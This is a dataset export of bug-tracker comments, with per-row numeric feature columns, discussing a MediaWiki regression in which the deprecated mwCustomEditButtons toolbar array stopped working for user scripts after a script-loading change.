QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This solution didn't work for long, it just broke all JavaScript for me on Meta (most prominently, [[m:WM:LS]]) with:

Timestamp: 09/06/2013 20:03:03
Error: TypeError: mw.toolbar is undefined
Source File: URL
Line: 1

[MediaWiki 	1.22wmf5 (bad4d50)]"
214620,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #11)
> (In reply to comment #9)
> > billinghurst, this has nothing to do with switching to the new toolbar;
> > mw.toolbar.addButton works with and is intended for the old one, and the
> > change
> > is just a simple find and replace:
> > 
> >   Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
> >   Replace with: mw.toolbar.addButton({ ... })
> > 
> > Just be careful about braces and parentheses.
> > 
> > Here's an example diff:
> > https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.
> > js&diff=37497149&oldid=37497060
> 
> Thanks. This innovation had escaped me, and clearly a whole community that
> was
> using mwCustomEditButtons. I will relay this to the enWS community, and fix
> our
> help pages.
> 
> Can you recommend that right page to watch for these changes.  I thought
> that I
> had watched all the relevant pages where Krinkle does these components,
> however, it is clear that this change wasn't evident for active changes.

Clearly it was a long time ago as I have since found reference that it was broken in 1.18, but somehow it didn't break for all. Weird.",,,1367383460,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,32.0,2.0,1.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,4.0,8.0,26.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.1222222222222222,0.4222222222222222,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Clearly it was a long time ago as I have since found reference that it was broken in 1.18, but somehow it didn't break for all. Weird."
214614,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #9)
> billinghurst, this has nothing to do with switching to the new toolbar;
> mw.toolbar.addButton works with and is intended for the old one, and the
> change
> is just a simple find and replace:
> 
>   Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
>   Replace with: mw.toolbar.addButton({ ... })
> 
> Just be careful about braces and parentheses.
> 
> Here's an example diff:
> https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.
> js&diff=37497149&oldid=37497060

Thanks. This innovation had escaped me, and clearly a whole community that was using mwCustomEditButtons. I will relay this to the enWS community, and fix our help pages.

Can you recommend that right page to watch for these changes.  I thought that I had watched all the relevant pages where Krinkle does these components, however, it is clear that this change wasn't evident for active changes.",,,1367382951,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,3.5,0.0,3.0,7.0,0.0,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.5,0.0,2.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.5,2.0,9.5,0.0,3.5,0.0,0.0,0.0,0.0,1.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,2.5,2.5,12.0,3.5,1.5,7.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,5.5,7.0,7.5,0.0,0.0,0.0,5.5,0.0,1.5,0.5,0.5,0.5,0.0,0.0,0.0,3.825031328320802,0.6646303258145363,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks. This innovation had escaped me, and clearly a whole community that was using mwCustomEditButtons. I will relay this to the enWS community, and fix our help pages.

Can you recommend that right page to watch for these changes.  I thought that I had watched all the relevant pages where Krinkle does these components, however, it is clear that this change wasn't evident for active changes."
214609,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #7)
> So how hard would it be to get the site&user scripts to run first, then
> $.ready, then the rest of the bottom queue? Then we could kill off
> mwCustomEditButtons after announcing it properly and revert the change
> (unless
> there is a considerable number of other scripts this would break).
> 
> [Disclaimer: I know next to nothing about ResourceLoader internals.]

site&user script run after the bottom queue by design. Just like the cascading stylesheets, they are intended and designed to allow overriding/customising things after everything else.

Though presence of code will not make a difference (since bottom queue is async), the loading is affected.

Code in site and/or user scripts that are wrapped in mw.loader.using would trigger additional http requests instead of tagging along on the already pending request for the bottom queue (this is ResourceLoader internals).

I'd recommend we add some code to mediawiki.action.edit to periodically check mwCustomEditButtons. Then immediately deprecate it (not removing it, just marking it as deprecated) and phasing it out over the following weeks (I'd like to add it to the js-deprecations train roll-out in May which will introduce mw.log.deprecate and console.warn messages that users can use to easily see if they are using something that is deprecated).

Then we can safely remove mwCustomEditButtons in the 1.22 release.

(In reply to comment #6)
> (In reply to comment #5)
> > Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.
> 
> See my comment above. There may be other similar structures existing there.

Possible indeed, though unlikely as most legacy things have been phased out. Examples are welcome :)",,,1367355163,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,0.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,0.6666666666666666,4.666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,5.333333333333333,11.666666666666666,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,3.6666666666666665,0.6666666666666666,1.6666666666666667,2.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,13.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,3.3333333333333335,8.666666666666666,1.3333333333333333,1.3333333333333333,4.0,0.0,0.3333333333333333,0.0,0.6666666666666666,6.0,0.0,1.3333333333333333,0.0,3.6666666666666665,11.666666666666666,4.333333333333333,0.0,0.0,0.0,3.6666666666666665,0.0,1.0,0.3333333333333333,0.0,3.0,0.0,0.3333333333333333,0.0,4.4005658436214,0.7480452674897119,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

site&user script run after the bottom queue by design. Just like the cascading stylesheets, they are intended and designed to allow overriding/customising things after everything else.

Though presence of code will not make a difference (since bottom queue is async), the loading is affected.

Code in site and/or user scripts that are wrapped in mw.loader.using would trigger additional http requests instead of tagging along on the already pending request for the bottom queue (this is ResourceLoader internals).

I'd recommend we add some code to mediawiki.action.edit to periodically check mwCustomEditButtons. Then immediately deprecate it (not removing it, just marking it as deprecated) and phasing it out over the following weeks (I'd like to add it to the js-deprecations train roll-out in May which will introduce mw.log.deprecate and console.warn messages that users can use to easily see if they are using something that is deprecated).

Then we can safely remove mwCustomEditButtons in the 1.22 release.

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

Possible indeed, though unlikely as most legacy things have been phased out. Examples are welcome :)"
214604,[Regression] mwCustomEditButtons from user script should work,"billinghurst, this has nothing to do with switching to the new toolbar; mw.toolbar.addButton works with and is intended for the old one, and the change is just a simple find and replace:

  Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
  Replace with: mw.toolbar.addButton({ ... })

Just be careful about braces and parentheses.

Here's an example diff: https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.js&diff=37497149&oldid=37497060",,,1367338720,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.561643835616438,0.7534246575342466,"billinghurst, this has nothing to do with switching to the new toolbar; mw.toolbar.addButton works with and is intended for the old one, and the change is just a simple find and replace:

  Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
  Replace with: mw.toolbar.addButton({ ... })

Just be careful about braces and parentheses.

Here's an example diff: URL"
214601,[Regression] mwCustomEditButtons from user script should work,"As a comment mwCustomEditButtons functionality is used at English Wikisource. And for numbskulls like myself it is far easier to code snippets to implant code than the alternate means. I repeatedly failed to master mw.toolbar.addButton, gave up walked away, too much to do, too much to customise.

The old toolbar allows for easy nulling out of buttons not required, or not prioritised, and the easy addition of little bits of personal functionality, and the new toolbar makes these things hard (IMO).  Don't blame us that we find the older tool to work better; has the requisite functionality, and meets our simple needs. We are not WP, our requirements are different, our tasks are different, our namespaces are different.

I am happy to try again to be less stupid to see if I can create a core set of tools that could be used, and allow users to plug them in as they see fit, however, it isn't my core skill set. Definitely an area where better guidance would be of use.

PLUS as the 'new' toolbar is still considered a BETA FEATURE (see preferences), why would we be expected to move. Stridency against us simple editors seems a little harsh. Some of us just want to get on with our tasks, and chasing and understanding the backend changes isn't easy.",,,1367338360,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1.0,0.0,0.0,1.3333333333333333,2.0,10.0,3.0,0.0,0.0,0.3333333333333333,1.6666666666666667,2.0,0.0,0.0,0.0,5.666666666666667,0.3333333333333333,7.0,12.333333333333334,0.0,3.6666666666666665,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,6.666666666666667,3.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,2.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,11.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,5.0,6.333333333333333,1.3333333333333333,2.6666666666666665,5.333333333333333,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,12.333333333333334,2.3333333333333335,0.0,0.6666666666666666,0.0,7.0,0.0,1.0,1.6666666666666667,1.6666666666666667,0.6666666666666666,1.6666666666666667,0.0,0.0,3.9991535240131877,0.7346966051857793,"As a comment mwCustomEditButtons functionality is used at English Wikisource. And for numbskulls like myself it is far easier to code snippets to implant code than the alternate means. I repeatedly failed to master mw.toolbar.addButton, gave up walked away, too much to do, too much to customise.

The old toolbar allows for easy nulling out of buttons not required, or not prioritised, and the easy addition of little bits of personal functionality, and the new toolbar makes these things hard (IMO).  Don't blame us that we find the older tool to work better; has the requisite functionality, and meets our simple needs. We are not WP, our requirements are different, our tasks are different, our namespaces are different.

I am happy to try again to be less stupid to see if I can create a core set of tools that could be used, and allow users to plug them in as they see fit, however, it isn't my core skill set. Definitely an area where better guidance would be of use.

PLUS as the 'new' toolbar is still considered a BETA FEATURE (see preferences), why would we be expected to move. Stridency against us simple editors seems a little harsh. Some of us just want to get on with our tasks, and chasing and understanding the backend changes isn't easy."
214598,[Regression] mwCustomEditButtons from user script should work,"So how hard would it be to get the site&user scripts to run first, then $.ready, then the rest of the bottom queue? Then we could kill off mwCustomEditButtons after announcing it properly and revert the change (unless there is a considerable number of other scripts this would break).

[Disclaimer: I know next to nothing about ResourceLoader internals.]",,,1367337892,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,13.0,13.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,13.0,1.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,4.257142857142857,0.8285714285714286,"So how hard would it be to get the site&user scripts to run first, then $.ready, then the rest of the bottom queue? Then we could kill off mwCustomEditButtons after announcing it properly and revert the change (unless there is a considerable number of other scripts this would break).

[Disclaimer: I know next to nothing about ResourceLoader internals.]"
214593,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #5)
> Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.

See my comment above. There may be other similar structures existing there.",,,1367336991,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.68,0.92,"(In reply to comment #5)
QUOTE

See my comment above. There may be other similar structures existing there."
214584,[Regression] mwCustomEditButtons from user script should work,"Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.

So in summary: mwCustomEditButtons is very ugly and undocumented. But it used to be the only way to add buttons to the toolbar. Though (as pointed out by various comments) it is a coincidence that most existing usages have survived without causing errors, but it is the case.

How mwCustomEditButtons works now:
* Initialise to empty array from top queue
* Hook in document ready
* Iterate through array (e.g. items added before the page load) and call mw.toolbar.addButton for each one.

The state is that most existing usages of mwCustomEditButtons happen from a site or user script at run-time in the global scope. And this works fine because they are blocking script tags.

Now that $.ready() (the jquery callback list, not the event itself) is triggered before site/user script load (the site/user script still load from the bottom) it means the code that iterates through the legacy array will not get any of the items because they're not in the array yet at that time.",,,1367336363,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,3.3333333333333335,2.0,0.6666666666666666,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.666666666666667,11.666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.0,0.3333333333333333,2.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,19.666666666666668,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.333333333333333,2.6666666666666665,3.6666666666666665,2.3333333333333335,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,0.0,2.6666666666666665,11.666666666666666,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.0,1.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,4.131455399061033,0.7699530516431925,"Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.

So in summary: mwCustomEditButtons is very ugly and undocumented. But it used to be the only way to add buttons to the toolbar. Though (as pointed out by various comments) it is a coincidence that most existing usages have survived without causing errors, but it is the case.

How mwCustomEditButtons works now:
* Initialise to empty array from top queue
* Hook in document ready
* Iterate through array (e.g. items added before the page load) and call mw.toolbar.addButton for each one.

The state is that most existing usages of mwCustomEditButtons happen from a site or user script at run-time in the global scope. And this works fine because they are blocking script tags.

Now that $.ready() (the jquery callback list, not the event itself) is triggered before site/user script load (the site/user script still load from the bottom) it means the code that iterates through the legacy array will not get any of the items because they're not in the array yet at that time."
214575,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #0)
> @Liangent: Can you given an example where it matters for a user script
> whether
> the document becomes ready before or after they are loaded? The user scripts
> are loaded from the bottom of the <body> before </body>. Practically the
> document is already ready at this point, just $(document).ready() hasn't
> fired
> yet. Any user script code that isn't wrapped in $(document).ready() will
> still
> execute at exactly the same time. Any user script code that *is* wrapped in
> $(document).ready() will now execute immediately after loading instead of...
> immediately after loading. Exactly the same, not?

Let me give a (almost) real world example (difference explained below):

We have some gadgets (technically some gadgets, but socially one gadget; not using [ResourceLoader]). The first is the gadget itself, which registers some global states as data/options, then $(document).ready() its execution code. All gadgets below are modifiers for the gadget which change those global states so when the main body of the gadget is executed, the modified global states are visible to it. But now...

Difference from real world: addOnloadHook() is used there instead of $(document).ready() so it finally escaped :)",,,1367335235,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,2.0,0.0,0.0,1.5,0.5,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.0,7.5,5.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.5,0.0,2.5,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,12.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,3.0,10.0,1.5,1.0,8.0,0.0,0.5,0.0,0.5,1.5,0.0,1.0,0.0,3.5,5.5,7.0,0.0,0.0,0.0,3.5,0.0,2.0,0.5,1.0,0.5,0.0,0.0,1.0,3.8920246420246416,0.651931401931402,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Let me give a (almost) real world example (difference explained below):

We have some gadgets (technically some gadgets, but socially one gadget; not using [ResourceLoader]). The first is the gadget itself, which registers some global states as data/options, then $(document).ready() its execution code. All gadgets below are modifiers for the gadget which change those global states so when the main body of the gadget is executed, the modified global states are visible to it. But now...

Difference from real world: addOnloadHook() is used there instead of $(document).ready() so it finally escaped :)"
214565,[Regression] mwCustomEditButtons from user script should work,"Created attachment 12209
Test case for the browser issue with setTimeout and document.write

I've attached my test case for the browser issue with setTimeout and document.write. Note that it should be served from a webserver that is not behind a proxy server, so the flush calls result in it slowly counting 0-9.

**Attached**: {F10516}",,,1367334847,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,9.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,6.0,13.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.085714285714285,0.7428571428571429,"Created attachment 12209
Test case for the browser issue with setTimeout and document.write

I've attached my test case for the browser issue with setTimeout and document.write. Note that it should be served from a webserver that is not behind a proxy server, so the flush calls result in it slowly counting 0-9.

**Attached**: {F10516}"
214553,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #0)
> @Brad Jorsch: It seems that the Firefox bug with document.write being
> disabled before DOMContentReady is worse than we thought. It is disabled even
> before the end of the </body> has been reached. We found through
> trial-and-error that placing it after the main content but before the bottom
> queue worked.

But it works from synchronously-processed scripts, even just before </body>.

I've done some more testing on this Firefox situation. More specifically, it seems that *any* document.write called from a setTimeout callback will replace the document, even if it fires during <head>. And this even avoids the check (since Gecko 2.0 (Firefox 4.0)) that is supposed to disable document.write when called from async-loaded scripts.[1]

 [1]: https://developer.mozilla.org/en-US/docs/HTML/Element/script#attr-async

The following browsers seem to be affected by this issue: Firefox 20, IE8, IE10, Chrome 24, Chrome 26, Opera 12.14.

The following browsers seem to *not* be affected by this issue: Safari 5.1 (Windows)

So runScript() should probably be forcing async when it calls addScript(), since it is called from a setTimeout in addEmbeddedCss(), as another layer of fix for bug 47457.


> As Brad pointed out, $.ready being triggered earlier makes no difference for
> the bottom queue because they are loaded asynchronously, they always execute
> without blocking the parser or the DOM ready event.

In fact, this should make the behavior for the bottom queue *more* predictable. Previously, depending on whether the async-loaded scripts for the bottom queue loaded extremely quickly (e.g. from cache) and whether the browser then decided to process them before firing DOMContentLoaded, they might sometimes be fired before $.ready and sometimes after. Now they'll always be after, no matter what the browser does.

> However note that the user scripts (like the site scripts) are *not* loaded
> through mw.loader because we still support legacy global scope for them. They
> are loaded by a hardcoded script tag in the DOM. Which means they are
> blocking and used to block dom-ready

I suppose that's where these complaints about mwCustomEditButtons and other such are coming from, if someone coded something assuming pre-ready directly in a user script or site script. OTOH, scripts loaded from the site or user scripts loaded via mw.loader.load() already had the issue (thanks to the fix for bug 34542 defaulting that sort of thing to async), so it only half-worked at best before bug 47457 anyway.",,,1367334391,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,0.5,0.5,0.25,1.25,0.25,3.0,0.25,0.0,0.0,0.5,1.5,0.5,0.25,0.25,0.0,0.5,0.25,8.25,11.5,0.5,1.25,0.5,0.5,0.25,1.0,0.0,0.0,0.0,0.25,0.5,0.25,3.5,1.25,1.5,0.5,0.0,0.75,0.0,1.0,0.25,0.0,0.75,0.5,0.5,0.5,0.0,0.0,0.0,0.0,13.5,1.0,1.5,0.25,1.0,0.25,0.75,0.0,0.0,0.5,0.0,0.5,0.75,0.0,0.25,0.25,0.0,0.0,4.0,2.0,9.5,2.5,2.0,7.0,0.0,0.0,0.0,0.25,2.75,0.0,3.25,0.0,2.75,11.5,6.0,0.0,0.0,0.0,2.75,0.0,1.25,0.75,0.25,1.5,0.75,0.25,1.5,4.008579272477694,0.6863132006405857,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But it works from synchronously-processed scripts, even just before </body>.

I've done some more testing on this Firefox situation. More specifically, it seems that *any* document.write called from a setTimeout callback will replace the document, even if it fires during <head>. And this even avoids the check (since Gecko 2.0 (Firefox 4.0)) that is supposed to disable document.write when called from async-loaded scripts.[1]

 [1]: URL

The following browsers seem to be affected by this issue: Firefox 20, IE8, IE10, Chrome 24, Chrome 26, Opera 12.14.

The following browsers seem to *not* be affected by this issue: Safari 5.1 (Windows)

So runScript() should probably be forcing async when it calls addScript(), since it is called from a setTimeout in addEmbeddedCss(), as another layer of fix for bug 47457.


QUOTE
QUOTE
QUOTE

In fact, this should make the behavior for the bottom queue *more* predictable. Previously, depending on whether the async-loaded scripts for the bottom queue loaded extremely quickly (e.g. from cache) and whether the browser then decided to process them before firing DOMContentLoaded, they might sometimes be fired before $.ready and sometimes after. Now they'll always be after, no matter what the browser does.

QUOTE
QUOTE
QUOTE
QUOTE

I suppose that's where these complaints about mwCustomEditButtons and other such are coming from, if someone coded something assuming pre-ready directly in a user script or site script. OTOH, scripts loaded from the site or user scripts loaded via mw.loader.load() already had the issue (thanks to the fix for bug 34542 defaulting that sort of thing to async), so it only half-worked at best before bug 47457 anyway."
214546,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #0)
> @Matma.rex: You mean the fact that the deprecated mwCustomEditButtons global
> (unlike the mw.toolbar interface) is inspected only once by
> mediawiki.action.edit.js, namely at the domready event. And if it is
> triggered
> before the user script, adding to that array will become a no-op.

Yes, precisely.


> Though there is a lot of usage of this feature, lets not forget the context:

> * The mwCustomEditButtons interface is for the classic toolbar (aka ""Monobook
> editor"", though Vector users can also disable WikiEditor to get to it). This
> is
> already a large minority of users.

Yeah, my guesstimate is a few hundred power-users across all of the Wikimedia wikis. (I just searched for 'mwCustomEditButtons' in user pages on a few large projects, and tried to account for inactive ones.)


> * The mwCustomEditButtons interace has been deprecated in favour of
> mw.toolbar.addButton, which I created especially for the legacy toolbar users
> last year to address the many declined bug reports for mwCustomEditButtons
> which could not be otherwise addressed because mwCustomEditButtons is beyond
> repair, it is a flawed concept and it keeps breaking for many reasons.
> 
> I don't think anything related to mwCustomEditButtons can justify a change of
> any kind unless it comes at absolutely no overhead and downside.

I realize that this is deprecated, and agree that it's broken by design. But killing it should be preceded by some release notes and some Wikimedia announcements (or just fixing users' JavaScript for them, since there are comparatively few of them).

I have reopened the previous bug because of the combination of Liangent's comment (which I didn't verify myself) and at least two users complaining about this on #wikimedia-tech today, including one who was kind and persistent enough to help me confirm that this was what broke the functionality ([[nl:User:Romaine]]).

So I'm all for removing this legacy compatibility, but let's do it right instead of as a side-effect of an unrelated fix.",,,1367328242,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,2.3333333333333335,0.0,0.0,1.0,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,4.333333333333333,10.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,1.0,2.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,10.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.0,2.0,11.666666666666666,1.6666666666666667,3.0,6.333333333333333,0.0,0.0,0.0,0.6666666666666666,3.0,0.3333333333333333,1.3333333333333333,0.0,5.0,10.0,6.0,0.0,1.0,0.0,5.0,0.0,1.0,1.3333333333333333,1.3333333333333333,2.0,0.0,0.3333333333333333,1.3333333333333333,3.760082304526749,0.7072016460905349,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, precisely.


QUOTE

QUOTE
QUOTE
QUOTE
QUOTE

Yeah, my guesstimate is a few hundred power-users across all of the Wikimedia wikis. (I just searched for 'mwCustomEditButtons' in user pages on a few large projects, and tried to account for inactive ones.)


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I realize that this is deprecated, and agree that it's broken by design. But killing it should be preceded by some release notes and some Wikimedia announcements (or just fixing users' JavaScript for them, since there are comparatively few of them).

